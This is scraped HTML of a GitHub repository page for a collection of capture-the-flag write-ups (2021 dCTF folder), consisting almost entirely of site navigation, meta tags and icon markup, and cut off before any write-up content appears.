http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/ivanchubb/CTF-Writeups git https://github.com/ivanchubb/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="56413433" /><meta name="octolytics-dimension-user_login" content="ivanchubb" /><meta name="octolytics-dimension-repository_id" content="368004552" /><meta name="octolytics-dimension-repository_nwo" content="ivanchubb/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="368004552" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ivanchubb/CTF-Writeups" /> <link rel="canonical" href="https://github.com/ivanchubb/CTF-Writeups/tree/main/2021/dCTF" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="368004552" data-scoped-search-url="/ivanchubb/CTF-Writeups/search" data-owner-scoped-search-url="/users/ivanchubb/search" data-unscoped-search-url="/search" action="/ivanchubb/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="x08KTGJAqtciY6aIJPP11oLEmAmSDbjbHKOjZVcF7g7mGeubWNeBwm+9NDu11k9sOP0+yeFQXpTgk5/l4aKx3A==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> ivanchubb </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 2 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 